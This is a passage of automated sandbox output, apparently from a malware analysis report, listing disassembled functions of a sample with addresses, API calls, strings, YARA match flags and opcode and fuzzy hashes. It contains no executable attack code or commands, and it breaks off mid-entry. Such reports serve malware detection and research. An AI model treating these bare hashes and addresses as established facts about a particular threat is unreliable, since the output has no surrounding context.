Instruction Fuzzy Hash: 7AC1DE709006079ECB34CE69C584A7BBBB1AB45304F184A3FD452BBBD2C339AC59CB59

Function 0040EB87 Relevance: 2.8, Strings: 2, Instructions: 318COMMON

Download Yara Rule

Strings

H@, xrefs: 0040EEAB, 0040EE4D, 0040EDEF, 0040ED70
0, xrefs: 0040ED0B

Memory Dump Source

Source File: 00000000.00000002.2536332256.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID: 0$H@
API String ID: 0-2786613154
Opcode ID: ca813c29726484238c91fef20f317be1219e422960450490370ba48bfc0cd99d
Instruction ID: 4a3fd9315a5abbba8fc5c956050257a45ee5a7b78c0dcd4935651e2db0378757
Opcode Fuzzy Hash: ca813c29726484238c91fef20f317be1219e422960450490370ba48bfc0cd99d
Instruction Fuzzy Hash: 9CB1E57090460B8BDB24CE6AC555ABFB7A1AF05304F140E3FD592B77C1C739A926CB89

Function 0092894E Relevance: 2.7, Strings: 2, Instructions: 192COMMON

Download Yara Rule

Strings

~cv~, xrefs: 00928A4F
Ov, xrefs: 00928A13

Memory Dump Source

Source File: 00000000.00000002.2536499578.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: ~cv~$Ov
API String ID: 0-4155349527
Opcode ID: f84a3e5973d2a10cf51f4fd58f00f78b41e7734133e03cd4973eadb7413e678f
Instruction ID: a06dcf395c9e9dae8aad81dc43c733d9ae34564b2882cce06dcfea4e4a1c354c
Opcode Fuzzy Hash: f84a3e5973d2a10cf51f4fd58f00f78b41e7734133e03cd4973eadb7413e678f
Instruction Fuzzy Hash: DE5106F37087009BF3049E79ED8577BB6DAEBD4720F2A853DEAC483744E57958018296

Function 1000E184 Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,1000E17F,?,?,00000008,?,?,1000DE14,00000000), ref: 1000E3B1

Memory Dump Source

Source File: 00000000.00000002.2538565613.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2538552755.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2538582155.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2538596220.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: d9cad4c0d431712b17d678ca3744fd01f07566361e254315dc393335121516ed
Instruction ID: 1a3fbdf84673f95942c1f426381f735e0c8de5aa42652e790f36daf84cbc2009
Opcode Fuzzy Hash: d9cad4c0d431712b17d678ca3744fd01f07566361e254315dc393335121516ed
Instruction Fuzzy Hash: 9CB14A31610649CFE715CF28C486B997BE0FF453A4F258658E89ADF2A5C335EE82CB40

Function 004156EE Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,004156E9,?,?,00000008,?,?,0041C64A,00000000), ref: 0041591B

Memory Dump Source

Source File: 00000000.00000002.2536332256.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: e03884c1b799fb46ae45e907d4085e80ad0ec7257463db2e47aeebe4ac254d4e
Instruction ID: 5bcf9fd90164e7ff1602427bca0bed587a5bb36a9d426d5c8fdac6ccf5812400
Opcode Fuzzy Hash: e03884c1b799fb46ae45e907d4085e80ad0ec7257463db2e47aeebe4ac254d4e
Instruction Fuzzy Hash: 72B16C71520A08CFD715CF28C48ABE57BE0FF85364F258659E8A9CF2A1C339D992CB45

Function 04B65955 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,04B65950,?,?,00000008,?,?,04B6C8B1,00000000), ref: 04B65B82

Memory Dump Source

Source File: 00000000.00000002.2537916490.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: e03884c1b799fb46ae45e907d4085e80ad0ec7257463db2e47aeebe4ac254d4e
Instruction ID: 542ece185a873222a589ad7a5120ed6f0d1c4b0119d7ead33cc947e14472805f
Opcode Fuzzy Hash: e03884c1b799fb46ae45e907d4085e80ad0ec7257463db2e47aeebe4ac254d4e
Instruction Fuzzy Hash: A1B14431210609EFD725CF28D486B657BE0FF45365F198698E8DACF2A1D339E992CB40

Function 04D0E2C9 Relevance: 1.6, Strings: 1, Instructions: 333COMMON

Download Yara Rule

Strings

0, xrefs: 04D0E439

Memory Dump Source

Source File: 00000000.00000003.1920463926.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d00000_file.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 8eb8cff735118d4cdf18e48b5e4fd70e4005089286b1f543a5e77019ad8e0901
Instruction ID: b628de6dd17282465361dc5d56a9a12fbdfc830929330daf0a04bcf208f89b46
Opcode Fuzzy Hash: 8eb8cff735118d4cdf18e48b5e4fd70e4005089286b1f543a5e77019ad8e0901
Instruction Fuzzy Hash: 83C1DE70A006068EDB29CF68C588BBABBB1FF45304F18CE59D49A976D1E331F945CB61

Function 04B5F130 Relevance: 1.6, Strings: 1, Instructions: 333COMMON

Download Yara Rule

Strings

0, xrefs: 04B5F2A0

Memory Dump Source

Source File: 00000000.00000002.2537916490.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 8eb8cff735118d4cdf18e48b5e4fd70e4005089286b1f543a5e77019ad8e0901
Instruction ID: 691cd842436fe191f8216e3d12e0597b066f85450cbe4d01b5a8392b255c3974
Opcode Fuzzy Hash: 8eb8cff735118d4cdf18e48b5e4fd70e4005089286b1f543a5e77019ad8e0901
Instruction Fuzzy Hash: EEC110B4A006069FEF24DFA8D584B7AFBB1EF05304F144699EC92976B0D732B906CB51

Function 04D0DF87 Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

0, xrefs: 04D0E10B

Memory Dump Source

Source File: 00000000.00000003.1920463926.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d00000_file.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 879cce724f58335765498cd27df84c01b4e50fca817c5947501d6afb968e75ec
Instruction ID: 65f3f24c76de2cb4eee7da6f8960c561aa8ffef6e1f1bc5b49752115257ec335
Opcode Fuzzy Hash: 879cce724f58335765498cd27df84c01b4e50fca817c5947501d6afb968e75ec
Instruction Fuzzy Hash: 35B1B070B0060A9BDB289FA8C994BBEBBA1FF45304F04CE1ED59297AD0D631F501CB91

Function 04B5EDEE Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

0, xrefs: 04B5EF72

Memory Dump Source

Source File: 00000000.00000002.2537916490.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 879cce724f58335765498cd27df84c01b4e50fca817c5947501d6afb968e75ec
Instruction ID: c1168f817558b5971782aee2c812ac9422da8389a44a27d08a8e35e874ce156e
Opcode Fuzzy Hash: 879cce724f58335765498cd27df84c01b4e50fca817c5947501d6afb968e75ec
Instruction Fuzzy Hash: 5BB19270A0070A8BEB64DF68C554BBEF7A5EB04304F184A9DED56976B0DB31FA02CB51

Function 0040A6E0 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0000A6EC,0040A064), ref: 0040A6E5

Memory Dump Source

Source File: 00000000.00000002.2536332256.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 57eb909cc499ab73dfbd1e7bda14dcacb44b248db614b08e85bbc339297afc36
Instruction ID: 6de328abc9b99a616df872271d62a2f30248adc2819e8ef2996fe7ca66473f4a
Opcode Fuzzy Hash: 57eb909cc499ab73dfbd1e7bda14dcacb44b248db614b08e85bbc339297afc36
Instruction Fuzzy Hash:

Function 04B5A947 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(0040A6EC,04B5A2CB), ref: 04B5A94C

Memory Dump Source

Source File: 00000000.00000002.2537916490.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 57eb909cc499ab73dfbd1e7bda14dcacb44b248db614b08e85bbc339297afc36
Instruction ID: 6de328abc9b99a616df872271d62a2f30248adc2819e8ef2996fe7ca66473f4a
Opcode Fuzzy Hash: 57eb909cc499ab73dfbd1e7bda14dcacb44b248db614b08e85bbc339297afc36
Instruction Fuzzy Hash:

Function 008A36FC Relevance: 1.5, Strings: 1, Instructions: 204COMMON

Download Yara Rule

Strings

aBJ, xrefs: 008A3935

Memory Dump Source

Source File: 00000000.00000002.2536499578.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: aBJ
API String ID: 0-3609585229
Opcode ID: 0a4c34caa3cdfea50c11cc36bfc39ee645805e69f0f9888ea8ccac17e03fd0e4
Instruction ID: e8038f71efd318184be63579581d5aa4e54f3ddd598ca284210ecc920aa8d8ea
Opcode Fuzzy Hash: 0a4c34caa3cdfea50c11cc36bfc39ee645805e69f0f9888ea8ccac17e03fd0e4
Instruction Fuzzy Hash: 116127F3E091005BF308AA38DC8577ABAD6EBD4310F2B863CD6C9977C4E93958018786

Function 00872AAE Relevance: 1.4, Strings: 1, Instructions: 195COMMON

Download Yara Rule

Strings

GmF., xrefs: 00872D1F

Memory Dump Source

Source File: 00000000.00000002.2536499578.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: GmF.
API String ID: 0-494731943
Opcode ID: 2446834b363b74939e15c91727e0fe92d91b6a4eb76570a155b32ac9d42595ed
Instruction ID: 3a12e25ade1053961791a7719464b97e9f5279378f2aafc5f86fb08ff2b0ba29
Opcode Fuzzy Hash: 2446834b363b74939e15c91727e0fe92d91b6a4eb76570a155b32ac9d42595ed
Instruction Fuzzy Hash: E2518AF3A087085FE3086A3CED9973AB6D6DBD4350F2B823DEA9557788EC791C058245

Function 0090AAA8 Relevance: 1.4, Strings: 1, Instructions: 170COMMON

Download Yara Rule

Strings

;ruv, xrefs: 0090ABF3

Memory Dump Source

Source File: 00000000.00000002.2536499578.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: ;ruv
API String ID: 0-3124053304
Opcode ID: 99dd922db593300e11b7d15cb2dac2348e6c7714c916c3f3d71bd76259cde4a8
Instruction ID: e25b1e4f3095e759d6250250ce40a000f7ef45f3e393678026beeff0f3b1c6cf
Opcode Fuzzy Hash: 99dd922db593300e11b7d15cb2dac2348e6c7714c916c3f3d71bd76259cde4a8
Instruction Fuzzy Hash: D051F6F3A082045FE300AE29EC8573AB7E5EBD4320F56853DDBC8C7784E93958058696

Function 008C1B55 Relevance: 1.4, Strings: 1, Instructions: 163COMMON

Download Yara Rule

Strings

6JwW, xrefs: 008C1C10

Memory Dump Source

Source File: 00000000.00000002.2536499578.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: 6JwW
API String ID: 0-477649681
Opcode ID: 584ffdeb593d32d53a3a8470a62fe19c269436b63c6774150f168f18abcf67ad
Instruction ID: 4e3159a11a30ac09ddb1a722e23c7a0883dba2b53f56bee793d19bf45cb8fd6a
Opcode Fuzzy Hash: 584ffdeb593d32d53a3a8470a62fe19c269436b63c6774150f168f18abcf67ad
Instruction Fuzzy Hash: 035125F3B082009FF3085A28DC9577AB7DBEBE4720F2B463D9B95977C4E93858058195

Function 04D15219 Relevance: .6, Instructions: 637COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1920463926.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bed945026c03525ca9e6f99888b728c839f34034abb34f6e91111b4f97e8ed69
Instruction ID: 9eba7d26b4c30fb0231ca0f4fdc35c0748861542a6683b4286b29558263be51c
Opcode Fuzzy Hash: bed945026c03525ca9e6f99888b728c839f34034abb34f6e91111b4f97e8ed69
Instruction Fuzzy Hash: 6E322322E29F016DD7239A35E932335A689AFB73D4F55C737EC1AB59A5EB28D0834100

Function 00415E19 Relevance: .6, Instructions: 637COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2536332256.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bed945026c03525ca9e6f99888b728c839f34034abb34f6e91111b4f97e8ed69
Instruction ID: cacb134cf45b6d3893a07543428c3496bc224f7c3d1c732b13d01dd1be495d2a
Opcode Fuzzy Hash: bed945026c03525ca9e6f99888b728c839f34034abb34f6e91111b4f97e8ed69
Instruction Fuzzy Hash: DF323631E29F015DD7239A35D922336A649AFB73C4F56C737E815B5AA9EF28C4C34108

Function 00AAFAC0 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2536499578.0000000000AAD000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_aad000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34b74de7e177abaea2b85a9b95c089740ef60195a9d4c161cbb96a4f4ac834c4
Instruction ID: 9892771718c6e25d645ea9205e47597a3101a44ef328d506c022b1cdf6406268
Opcode Fuzzy Hash: 34b74de7e177abaea2b85a9b95c089740ef60195a9d4c161cbb96a4f4ac834c4
Instruction Fuzzy Hash: 33A1E1B640D3C19FD7179B3498669B9BFE1AF53310F1A88DED4C04B1A3D6205846DB63

Function 04D14AEE Relevance: .3, Instructions: 269COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1920463926.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e03884c1b799fb46ae45e907d4085e80ad0ec7257463db2e47aeebe4ac254d4e
Instruction ID: 44d9c47c0291f05a3910f882056f69193e51d7448e839e206b2a355c1374ebfe
Opcode Fuzzy Hash: e03884c1b799fb46ae45e907d4085e80ad0ec7257463db2e47aeebe4ac254d4e
Instruction Fuzzy Hash: 09B14A31210609AFDB15CF28D48AB657BE1FF45364F298658E8D9CF2B1C335E992CB40

Function 008758C9 Relevance: .2, Instructions: 243COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2536499578.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 684edb416a95c0ae7cee80b8048aa5d1e6d0df6f852b55f9dd35a841558bc5c9
Instruction ID: 2f2d29951dd3468d9b8cc489caece7734275b8a03a18fb78ff6243c3693aee5f
Opcode Fuzzy Hash: 684edb416a95c0ae7cee80b8048aa5d1e6d0df6f852b55f9dd35a841558bc5c9
Instruction Fuzzy Hash: E0715CF7E082049BE3086E3CEC98737B7D5EB94750F2B463DEA8583784F97918154686

Function 0097EBA8 Relevance: .2, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2536499578.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2a4311964138c607a4eefaf1e22cbaedca6f97d9f355fa9bb47d0b5638bfa0f
Instruction ID: b268d2debca550e0606be4fd77dea37599756feb146435b0c7871eefd74c8dfb
Opcode Fuzzy Hash: b2a4311964138c607a4eefaf1e22cbaedca6f97d9f355fa9bb47d0b5638bfa0f
Instruction Fuzzy Hash: 2E61E6F390C3049FE3046F19EC8577AB7D5EB94710F1A892DEAD483384EA7A58458747

Function 008A492C Relevance: .2, Instructions: 165COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2536499578.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37b2b07dc8fbcd5bf32be6dfe8357955ffe260703931ab7ab979e83efb38e377
Instruction ID: 8e231f46323e68055c89bdb8f73877d0381e874de918d25cb572daeab27e528f
Opcode Fuzzy Hash: 37b2b07dc8fbcd5bf32be6dfe8357955ffe260703931ab7ab979e83efb38e377
Instruction Fuzzy Hash: AA4169F36081006FF308AA2DDC55B3BB7DADBD4320F2A813EDA84C7784E97599058296

Function 04D096AC Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1920463926.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0087427e5fec96f3a69268fd39bcd2ddcdf30d7205d75486cccbac6015e6632e
Instruction ID: d26ecd3be6f0aac91cfaf9ff7e3e69c37dba3b61adad34e3fb41b18180067497
Opcode Fuzzy Hash: 0087427e5fec96f3a69268fd39bcd2ddcdf30d7205d75486cccbac6015e6632e
Instruction Fuzzy Hash: 3E514AB2E00615DFDB24CF94D8917AAB7F4FB48314F24806AD405EB2A5D375E941CF98

Function 0088163D Relevance: .1, Instructions: 139COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2536499578.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04ca5aea10f1521b516ced41d2c410816fd6aa9b9c044d9d9b25967d3d3b14a5
Instruction ID: 36712e2d46a7693921c46360ef5950a0aea3d1dfbca56df023857a0564f1492f
Opcode Fuzzy Hash: 04ca5aea10f1521b516ced41d2c410816fd6aa9b9c044d9d9b25967d3d3b14a5
Instruction Fuzzy Hash: 034169F3E082148FE3482E2CDC8577AB796EBE4314F2B453DDB8557784E93958098186

Function 00AAFC9C Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2536499578.0000000000AAD000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_aad000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb4bf0f8c1bf574310a6f736b2fced6ce687d9f591335c3e427fd5b90da39a1d
Instruction ID: d51d07c97d1aa01490e72eb0275fe5cefafd05aa934bb1592080ae6c35b35404
Opcode Fuzzy Hash: bb4bf0f8c1bf574310a6f736b2fced6ce687d9f591335c3e427fd5b90da39a1d
Instruction Fuzzy Hash: 924124B290C210EFEB09AF26D84166EFBF5EF98710F26881DE9C493250E73558408B97

Function 008E16AD Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2536499578.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64ed29e737616282162414421e12045a8345256ba8c8bd1bec321539ceedad90
Instruction ID: 901f3f7079efc55b855172a3826b1c77fe841565d4563b5b3f1a0f987ed65d3e
Opcode Fuzzy Hash: 64ed29e737616282162414421e12045a8345256ba8c8bd1bec321539ceedad90
Instruction Fuzzy Hash: 66212BB3A040111BF3185929ECA1777A2D6EBD4360F3A863EDE8653780D87D5D1982D1

Function 04D0AA90 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1920463926.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: a218eebe701f303f833aa15dab785052099aaf317f2a1d17e3484f5e3946e42e
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: BC112B7720034143D614CA2DD9B87B7A796FBE532072DC37AD0924B7D4D222F545A600

Function 0040B690 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2536332256.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: b545b07da7e7745530abcd8f67b80a540579b97e0dd86f1b90800f2e494ad7bb
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: F1115B7720004243D604862DCDF45BBA395EBC5320B2C477BD0516BBD4D33BD841968D

Function 04B5B8F7 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2537916490.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 315dc02276a743d7f8c24c50dfe88152bb5dfd181608b4b0725d703b30596b13
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 6511E7B724804247D6548A6DD4F87B6F795EFE5320B2D42FAD8814B7BAD222B144DA00

Function 100102A0 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2538565613.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2538552755.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2538582155.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2538596220.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 6858cf0c51ff5caabfc3a7f957f7e97cc4d55c404d013567cdc706fa4bfc5bf2
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 5111087774118243D681C56DC4F86ABA3DEFBC52A0729436AF0D28FA58D2F2DAC5A600

Function 00D6C9CB Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2536971239.0000000000D6C000.00000040.00000020.00020000.00000000.sdmp, Offset: 00D6C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d6c000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: e1bd9920f0863b60f94f97f126557a273c180309a7a0ed40064ab4c33752e220
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 2B118E72350104AFD744DF99DC81FA673EAEB88360B298066ED48CB316DA75EC41CB70

Function 04B50D90 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2537916490.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction ID: a9a372e72a0caa430201dbf1f27ff0e92a8f4d5767ac8951d198d37f9d6f0fe4
Opcode Fuzzy Hash: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction Fuzzy Hash: 3001A276A006048FDF21EF24C814BAAB3E5EBC6316F5548E5ED0A9B291E774B9418F90

Function 10007A76 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2538565613.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2538552755.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2538582155.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2538596220.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 225e9490ce15994035050fff8e8d94bbe50aeb352c3921d505d22bbc77bda227
Instruction ID: 49573a245b17cd2143a7f0a663dc82b9d5ba07e6c12e429f55ccbb336c262c76
Opcode Fuzzy Hash: 225e9490ce15994035050fff8e8d94bbe50aeb352c3921d505d22bbc77bda227
Instruction Fuzzy Hash: CEE08C32E11228EBCB10CB88C940E8AB3ECFB86A80F114096B505E3101D274DF00C7C2

Function 00409B9D Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(0042D064,00000FA0,?,?,00409B7B), ref: 00409BA9
GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,00409B7B), ref: 00409BB4
GetModuleHandleW.KERNEL32(kernel32.dll,?,?,00409B7B), ref: 00409BC5
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 00409BD7
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 00409BE5
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,00409B7B), ref: 00409C08
DeleteCriticalSection.KERNEL32(0042D064,00000007,?,?,00409B7B), ref: 00409C24
CloseHandle.KERNEL32(00000000,?,?,00409B7B), ref: 00409C34

Strings

kernel32.dll, xrefs: 00409BC0
api-ms-win-core-synch-l1-2-0.dll, xrefs: 00409BAF
WakeAllConditionVariable, xrefs: 00409BDD
SleepConditionVariableCS, xrefs: 00409BD1

Memory Dump Source

